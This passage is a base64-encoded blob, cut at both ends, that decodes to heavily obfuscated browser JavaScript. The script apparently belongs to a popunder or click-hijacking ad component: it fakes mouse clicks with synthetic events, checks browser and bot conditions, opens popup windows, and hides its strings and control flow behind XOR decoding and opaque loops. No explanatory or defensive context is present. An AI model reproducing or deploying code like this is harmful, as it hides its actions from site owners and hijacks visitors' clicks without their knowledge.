7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwr